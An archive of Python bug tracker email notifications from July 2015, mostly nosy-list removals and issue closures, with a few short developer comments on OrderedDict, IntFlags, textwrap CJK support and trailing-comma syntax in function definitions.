From report at bugs.python.org  Tue Jul 21 09:19:24 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:19:24 +0000
Subject: [issue15443] datetime module has no support for nanoseconds
In-Reply-To: <1343158610.62.0.806232279741.issue15443@psf.upfronthosting.co.za>
Message-ID: <1437463164.1.0.509468467954.issue15443@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:22:03 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:22:03 +0000
Subject: [issue21076] Turn signal.SIG* constants into enums
In-Reply-To: <1395935330.94.0.38028035584.issue21076@psf.upfronthosting.co.za>
Message-ID: <1437463323.25.0.550157406339.issue21076@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:22:27 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:22:27 +0000
Subject: [issue23655] Memory corruption using pickle over pipe to subprocess
In-Reply-To: <1426229235.01.0.332656133041.issue23655@psf.upfronthosting.co.za>
Message-ID: <1437463347.18.0.555642493908.issue23655@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:22:52 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:22:52 +0000
Subject: [issue22698] Add constants for ioctl request codes
In-Reply-To: <1413990723.24.0.56994728842.issue22698@psf.upfronthosting.co.za>
Message-ID: <1437463372.84.0.445918639092.issue22698@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:23:29 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:23:29 +0000
Subject: [issue23556] Scope for raise without argument is different in Python
 2 and 3
In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za>
Message-ID: <1437463409.66.0.0614206403987.issue23556@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:23:46 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:23:46 +0000
Subject: [issue18173] Add MixedTypeKey to reprlib
In-Reply-To: <1370786072.61.0.824503392112.issue18173@psf.upfronthosting.co.za>
Message-ID: <1437463426.47.0.312401174319.issue18173@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:24:57 2015
From: report at bugs.python.org (Fabian)
Date: Tue, 21 Jul 2015 07:24:57 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437463497.99.0.339348216546.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Well as I described in the opening post:

"I don't think versions before Python 3.6 are affected as we had tests running on Python 3.5 (before Travis switched to 3.6 recently) and these all worked."

Now tbh I don't know if a version of 3.5 is affected but was never tested by Travis. And if then the 3.6 branch was branched of that version. If that how it works. As I'm using pyenv I could easily test this on Python 3.5b3. By the way the last official test run on Pyhton 3.5 using Travis was using 3.5a4+: https://travis-ci.org/wikimedia/pywikibot-core/jobs/71443578#L144

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:25:24 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:25:24 +0000
Subject: [issue23591] Add IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1437463524.03.0.383481979685.issue23591@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
resolution:  -> rejected
stage: patch review -> 
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:26:45 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:26:45 +0000
Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times
In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za>
Message-ID: <1437463605.21.0.532751224688.issue15873@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:27:01 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:27:01 +0000
Subject: [issue17352] Be clear that __prepare__ must be declared as a class
 method
In-Reply-To: <1362409892.83.0.717786566871.issue17352@psf.upfronthosting.co.za>
Message-ID: <1437463621.5.0.085037739639.issue17352@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:27:28 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:27:28 +0000
Subject: [issue12067] Doc: remove errors about mixed-type comparisons.
In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za>
Message-ID: <1437463648.49.0.849680044391.issue12067@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:29:07 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:29:07 +0000
Subject: [issue23455] file iterator "deemed broken";
 can resume after StopIteration
In-Reply-To: <1423766934.46.0.3718920034.issue23455@psf.upfronthosting.co.za>
Message-ID: <1437463747.7.0.97959327596.issue23455@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:29:34 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:29:34 +0000
Subject: [issue17576] PyNumber_Index() is not int-subclass friendly (or
 operator.index() docos lie)
In-Reply-To: <1364595911.19.0.826873230127.issue17576@psf.upfronthosting.co.za>
Message-ID: <1437463774.82.0.765497381719.issue17576@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:33:50 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 07:33:50 +0000
Subject: [issue23591] Add IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1437464030.89.0.198940934491.issue23591@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Why have you rejected this issue Ethan? I think this is useful feature and must be in Python, and other core developers agreed with this. Only minor implementation details are discussable.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:34:49 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:34:49 +0000
Subject: [issue17963] Deprecate the frame hack for implicitly getting module
 details
In-Reply-To: <1368364153.58.0.131087315276.issue17963@psf.upfronthosting.co.za>
Message-ID: <1437464089.01.0.0868223376569.issue17963@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:35:13 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:35:13 +0000
Subject: [issue8075] Windows (Vista/7) install error when choosing to compile
 .py files
In-Reply-To: <1267832622.74.0.429526645693.issue8075@psf.upfronthosting.co.za>
Message-ID: <1437464113.12.0.420917986218.issue8075@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:35:35 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:35:35 +0000
Subject: [issue12029] Catching virtual subclasses in except clauses
In-Reply-To: <1304844823.89.0.48444500115.issue12029@psf.upfronthosting.co.za>
Message-ID: <1437464135.04.0.474711938669.issue12029@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:36:01 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:36:01 +0000
Subject: [issue17422] language reference should specify restrictions on class
 namespace
In-Reply-To: <1363293215.19.0.289288553848.issue17422@psf.upfronthosting.co.za>
Message-ID: <1437464161.32.0.517224706143.issue17422@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:37:28 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:37:28 +0000
Subject: [issue20773] Improve docs for DynamicClassAttribute
In-Reply-To: <1393362749.08.0.709900927194.issue20773@psf.upfronthosting.co.za>
Message-ID: <1437464248.47.0.42885826865.issue20773@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
assignee: ethan.furman -> 
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:40:27 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:40:27 +0000
Subject: [issue22680] Blacklist FunctionTestCase from test discovery
In-Reply-To: <1413825261.98.0.71045668194.issue22680@psf.upfronthosting.co.za>
Message-ID: <1437464427.73.0.381513141355.issue22680@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:40:49 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:40:49 +0000
Subject: [issue23123] Only READ support for Decimal in json
In-Reply-To: <1419700251.42.0.619867786079.issue23123@psf.upfronthosting.co.za>
Message-ID: <1437464449.28.0.705513386074.issue23123@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:41:48 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:41:48 +0000
Subject: [issue22123] Provide a direct function for types.SimpleNamespace()
In-Reply-To: <1406966548.11.0.912987884229.issue22123@psf.upfronthosting.co.za>
Message-ID: <1437464508.26.0.0922940989627.issue22123@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:43:20 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:43:20 +0000
Subject: [issue22867] document behavior of calling atexit.register() while
 atexit._run_exitfuncs is running
In-Reply-To: <1415911957.21.0.792604038872.issue22867@psf.upfronthosting.co.za>
Message-ID: <1437464600.91.0.789725534981.issue22867@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:43:34 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:43:34 +0000
Subject: [issue22873] Re: SSLsocket.getpeercert - return ALL the fields of the
 certificate.
In-Reply-To: <1415988206.94.0.332443874226.issue22873@psf.upfronthosting.co.za>
Message-ID: <1437464614.95.0.962818723008.issue22873@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:44:04 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:44:04 +0000
Subject: [issue22806] regrtest: add switch -c to run only modified tests
In-Reply-To: <1415285956.81.0.19215825371.issue22806@psf.upfronthosting.co.za>
Message-ID: <1437464644.14.0.20961644405.issue22806@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:45:15 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:45:15 +0000
Subject: [issue17900] Recursive OrderedDict pickling
In-Reply-To: <1367610016.74.0.566900545996.issue17900@psf.upfronthosting.co.za>
Message-ID: <1437464715.3.0.546278416012.issue17900@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:47:20 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:47:20 +0000
Subject: [issue22790] some class attributes missing from dir(Class)
In-Reply-To: <1415090644.24.0.620494684539.issue22790@psf.upfronthosting.co.za>
Message-ID: <1437464840.54.0.352552215934.issue22790@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:55:20 2015
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 21 Jul 2015 07:55:20 +0000
Subject: [issue6549] ttk.Style -- minor issues with element_names and configure
In-Reply-To: <1248300651.32.0.979739193906.issue6549@psf.upfronthosting.co.za>
Message-ID: <20150721075517.18738.4836@psf.io>


Roundup Robot added the comment:

New changeset c3fa46d85857 by Ethan Furman in branch 'default':
Close issue6549: minor ttk.Style fixes
https://hg.python.org/cpython/rev/c3fa46d85857

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:55:59 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:55:59 +0000
Subject: [issue6549] ttk.Style -- minor issues with element_names and configure
In-Reply-To: <1248300651.32.0.979739193906.issue6549@psf.upfronthosting.co.za>
Message-ID: <1437465359.51.0.827406859862.issue6549@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
versions: +Python 3.5 -Python 2.7, Python 3.2, Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:56:20 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:56:20 +0000
Subject: [issue22738] improve  'python -h' documentation for '-c'
In-Reply-To: <1414384786.34.0.941168460328.issue22738@psf.upfronthosting.co.za>
Message-ID: <1437465380.5.0.574745154975.issue22738@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:56:45 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:56:45 +0000
Subject: [issue22656] `help` ignores `__doc__` of descriptors
In-Reply-To: <1413551704.24.0.449864930924.issue22656@psf.upfronthosting.co.za>
Message-ID: <1437465405.21.0.543273912751.issue22656@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:57:10 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:57:10 +0000
Subject: [issue1820] Enhance Object/structseq.c to match namedtuple and tuple
 api
In-Reply-To: <1200284428.58.0.762384814897.issue1820@psf.upfronthosting.co.za>
Message-ID: <1437465430.93.0.726722031455.issue1820@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:57:34 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:57:34 +0000
Subject: [issue22297] 2.7 json encoding broken for enums
In-Reply-To: <1409310034.91.0.63329091583.issue22297@psf.upfronthosting.co.za>
Message-ID: <1437465454.79.0.409961486409.issue22297@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:58:03 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:58:03 +0000
Subject: [issue22121] IDLE should start with HOME as the initial working
 directory
In-Reply-To: <1406966032.01.0.548285467026.issue22121@psf.upfronthosting.co.za>
Message-ID: <1437465483.02.0.279579092244.issue22121@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:58:21 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:58:21 +0000
Subject: [issue20092] type() constructor should bind __int__ to __index__ when
 __index__ is defined and __int__ is not
In-Reply-To: <1388260592.79.0.323683192221.issue20092@psf.upfronthosting.co.za>
Message-ID: <1437465501.63.0.468631351846.issue20092@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:00:58 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:00:58 +0000
Subject: [issue17421] Drop restriction that meta.__prepare__() must return a
 dict (subclass)
In-Reply-To: <1363292427.77.0.787480674647.issue17421@psf.upfronthosting.co.za>
Message-ID: <1437465658.67.0.104760508247.issue17421@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:01:18 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:01:18 +0000
Subject: [issue17044] Implement PEP 422: Simple class initialisation hook
In-Reply-To: <1359235758.38.0.556194565574.issue17044@psf.upfronthosting.co.za>
Message-ID: <1437465678.64.0.124207970855.issue17044@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:02:41 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:02:41 +0000
Subject: [issue18334] type(name, bases,
 dict) does not call metaclass' __prepare__ attribute
In-Reply-To: <1372641138.46.0.644775856541.issue18334@psf.upfronthosting.co.za>
Message-ID: <1437465761.65.0.953621323714.issue18334@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:04:46 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:04:46 +0000
Subject: [issue21406] Some socket constants are not enums
In-Reply-To: <1398946667.03.0.621371730374.issue21406@psf.upfronthosting.co.za>
Message-ID: <1437465886.86.0.718832924443.issue21406@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:05:19 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:05:19 +0000
Subject: [issue10614] ZipFile: add a filename_encoding argument
In-Reply-To: <1291362121.18.0.976785403189.issue10614@psf.upfronthosting.co.za>
Message-ID: <1437465919.03.0.664413172719.issue10614@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:05:49 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:05:49 +0000
Subject: [issue16508] include the "object" type in the lists of documented
 types
In-Reply-To: <1353284081.12.0.684350303879.issue16508@psf.upfronthosting.co.za>
Message-ID: <1437465949.93.0.951553152406.issue16508@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:06:56 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:06:56 +0000
Subject: [issue20543] ** operator does not overflow to inf
In-Reply-To: <1391798675.64.0.456943405881.issue20543@psf.upfronthosting.co.za>
Message-ID: <1437466016.27.0.821288594182.issue20543@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:07:37 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:07:37 +0000
Subject: [issue19404] Simplify per-instance control of help() output
In-Reply-To: <1382772138.17.0.267743568288.issue19404@psf.upfronthosting.co.za>
Message-ID: <1437466057.75.0.657300146802.issue19404@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:08:15 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:08:15 +0000
Subject: [issue19239] add inspect functions to retrieve attributes from both
 old dir() and overridden dir()
In-Reply-To: <1381617506.87.0.926836334477.issue19239@psf.upfronthosting.co.za>
Message-ID: <1437466095.69.0.826256244061.issue19239@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:10:01 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:10:01 +0000
Subject: [issue19624] Switch constants in the errno module to IntEnum
In-Reply-To: <1384604507.4.0.390717114428.issue19624@psf.upfronthosting.co.za>
Message-ID: <1437466201.86.0.321055105994.issue19624@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
resolution:  -> rejected
stage: needs patch -> 
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:10:38 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:10:38 +0000
Subject: [issue19667] Add the "htmlcharrefreplace" error handler
In-Reply-To: <1384971576.04.0.0704268767649.issue19667@psf.upfronthosting.co.za>
Message-ID: <1437466238.72.0.571629441657.issue19667@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:10:54 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:10:54 +0000
Subject: [issue16310] zipfile: allow surrogates in filenames
In-Reply-To: <1351082025.34.0.287428579283.issue16310@psf.upfronthosting.co.za>
Message-ID: <1437466254.97.0.90100297305.issue16310@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:11:16 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:11:16 +0000
Subject: [issue10972] zipfile: add "unicode" option to the force the filename
 encoding to UTF-8
In-Reply-To: <1295611245.09.0.199855932712.issue10972@psf.upfronthosting.co.za>
Message-ID: <1437466276.72.0.358365769562.issue10972@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:11:36 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:11:36 +0000
Subject: [issue18968] Find a way to detect incorrectly skipped tests
In-Reply-To: <1378609534.94.0.186067069028.issue18968@psf.upfronthosting.co.za>
Message-ID: <1437466296.87.0.372338229654.issue18968@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:12:49 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:12:49 +0000
Subject: [issue23640] int.from_bytes() is broken for subclasses
In-Reply-To: <1426080876.51.0.657090719237.issue23640@psf.upfronthosting.co.za>
Message-ID: <1437466369.17.0.293087736979.issue23640@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
assignee: ethan.furman -> 
nosy:  -ethan.furman
title: Enum.from_bytes() is broken -> int.from_bytes() is broken for subclasses

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:13:33 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:13:33 +0000
Subject: [issue23325] Turn SIG_DFL and SIG_IGN into functions
In-Reply-To: <1422304710.21.0.213579052731.issue23325@psf.upfronthosting.co.za>
Message-ID: <1437466413.82.0.159627074572.issue23325@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:15:01 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 08:15:01 +0000
Subject: [issue1615] PyObject_GenericGetAttr suppresses AttributeErrors in
 descriptors
In-Reply-To: <1197576817.5.0.617961278098.issue1615@psf.upfronthosting.co.za>
Message-ID: <1437466501.66.0.32094112323.issue1615@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
resolution:  -> not a bug
stage: patch review -> 
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:26:41 2015
From: report at bugs.python.org (Carol Willing)
Date: Tue, 21 Jul 2015 08:26:41 +0000
Subject: [issue13124] Add "Running a Build Slave" page to the devguide
In-Reply-To: <1318011517.56.0.343886781977.issue13124@psf.upfronthosting.co.za>
Message-ID: <1437467201.37.0.812705074749.issue13124@psf.upfronthosting.co.za>


Carol Willing added the comment:

Closing this issue since a newer issue #24440 addresses devguide documentation of installing and running a buildbot. Thanks to R. David Murray for submitting the patch to #24440.

----------
nosy: +willingc
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Move the buildslave setup information from the wiki to the devguide

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 10:43:41 2015
From: report at bugs.python.org (sanad)
Date: Tue, 21 Jul 2015 08:43:41 +0000
Subject: [issue24455] IDLE debugger causes crash if not quitted properly
 before next run
In-Reply-To: <1434383850.99.0.136251358232.issue24455@psf.upfronthosting.co.za>
Message-ID: <1437468221.63.0.0455879065479.issue24455@psf.upfronthosting.co.za>


sanad added the comment:

I have reviewed the patch(http://bugs.python.org/msg172439) submitted in issue #15348 and works very well for solving this  particular issue too. Although I have checked it only on Linux but it works arguably fine.

----------
nosy: +sanad

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 11:17:07 2015
From: report at bugs.python.org (Florent Gallaire)
Date: Tue, 21 Jul 2015 09:17:07 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437470227.59.0.428757084206.issue24665@psf.upfronthosting.co.za>


Florent Gallaire added the comment:

If your unicode experts haven't fix this BUG still now, this will never be done (by this experts).

We can say they are not true unicode experts as they have forgotten since a so long time billions of CJK people !

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 12:43:42 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Tue, 21 Jul 2015 10:43:42 +0000
Subject: [issue24677] "def f(*args, ): pass" does not compile
Message-ID: <1437475422.65.0.615406832787.issue24677@psf.upfronthosting.co.za>


New submission from Adam Barto?:

I think that a trailing comma in function definition should be allowed also after *. 

Current situation with definitions:
def f(*args, ): pass # SyntaxError
def f(*, ): pass # SyntaxError
def f(*, a, ): pass # SyntaxError
def f(*, a=2, ): pass # SyntaxError

def f(a, ): pass # Ok
def f(, ): pass # SyntaxError ? this should probably stay error

Corresponding calls:
f(*args, ) # Ok
f(*args, a, ) # Ok
f(*args, a=2, ) # Ok 

f(a, ) # Ok
f(, ) # SyntaxError ? this is why the corresponding def behavior should stay

My use case:
def f(*, 
        long = 1, 
        list = 2, 
        of = 3, 
        kwonly = 4, 
        parameters = 5, 
    ):
    ...

----------
messages: 247023
nosy: Drekin
priority: normal
severity: normal
status: open
title: "def f(*args, ): pass" does not compile

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 12:43:55 2015
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 21 Jul 2015 10:43:55 +0000
Subject: [issue19667] Add the "htmlcharrefreplace" error handler
In-Reply-To: <1384971576.04.0.0704268767649.issue19667@psf.upfronthosting.co.za>
Message-ID: <1437475435.6.0.829400237266.issue19667@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +berker.peksag
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 12:50:56 2015
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 21 Jul 2015 10:50:56 +0000
Subject: [issue19007] precise time.time() under Windows 8: use
 GetSystemTimePreciseAsFileTime
In-Reply-To: <1379015074.37.0.397731646491.issue19007@psf.upfronthosting.co.za>
Message-ID: <1437475856.88.0.682110111748.issue19007@psf.upfronthosting.co.za>


STINNER Victor added the comment:

